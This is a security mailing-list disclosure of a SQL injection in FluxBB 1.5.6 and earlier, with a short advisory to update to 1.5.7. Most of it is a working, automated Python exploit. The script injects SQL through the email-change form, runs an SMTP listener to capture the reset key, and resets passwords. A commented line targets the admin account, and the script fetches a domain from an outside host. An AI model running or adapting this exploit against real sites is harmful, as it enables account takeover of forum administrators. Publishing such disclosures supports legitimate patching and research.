[FD] FluxBB <= 1.5.6 SQL Injection

[secthrowaway@xxxxxxxxxxxxx]

FluxBB version 1.5.6 and below suffers from a SQL injection vulnerability.

Solution: update to FluxBB 1.5.7

Working, automated PoC is attached.

#!/usr/bin/env python
# Friday, November 21, 2014 - secthrowaway@xxxxxxxxxxxxx
# FluxBB <= 1.5.6 SQL Injection
# make sure that your IP is reachable

url  = 'http://target.tld/forum/'
user = 'user' # dummy account
pwd  = 'test' 

import urllib, sys, smtpd, asyncore, re, sha
from email import message_from_string
from urllib2 import Request, urlopen

ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like 
Gecko) Chrome/30.0.1599.17 Safari/537.36"
bindip = '0.0.0.0'

def stage1(sql):
        if len(sql) > 80:
                sys.exit('SQL too long, max 80 chars')
        print "1st stage: %s (%d chars)" % (sql, len(sql))
        r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, 
uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % 
(urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, 
"User-agent": ua, "Cookie": cookie})).read()
        if 'An email has been sent to the specified address' not in r:
                sys.exit('err')

def stage3(key):
        print "3rd stage, using key: %s" % key
        r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % 
(url, uid, key), headers={"User-agent": ua})).read()
        if 'Your password has been updated' in r:
                print 'success'
        else:
                print 'err'

class stage2_smtp(smtpd.SMTPServer):
        def process_message(self, peer, mailfrom, rcpttos, data):
                print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
                key = re.search("(https?://.*&key=([^\s]+))", 
message_from_string(data).get_payload(decode=True), re.MULTILINE)
                if key is not None: 
                        raise asyncore.ExitNow(key.group(2))
                return

def login():
        print "logging in"
        r = urlopen(Request('%slogin.php?action=in' % url, 
data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), 
headers={"User-agent": ua}))
        try:
                t = r.info()['set-cookie'].split(';')[0]
                return (t.split('=')[1].split('%7C')[0], t)
        except:
                sys.exit('unable to login, check user/pass')

uid, cookie = login()

email_domain = urlopen(Request('http://tns.re/gen')).read()
print "using domain: %s" % email_domain

#this will change your password to your password :)
stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new(pwd).hexdigest(), uid, 
email_domain))

#this will change admin's (uid=2) password "123456"
#stage1('%s\'/**/where/**/id=%s#@%s' % (sha.new("123456").hexdigest(), 2, 
email_domain))

try:
        print "2nd stage: waiting for mail"
        server = stage2_smtp((bindip, 25), None)
        asyncore.loop()
except asyncore.ExitNow, key:
        stage3(key)

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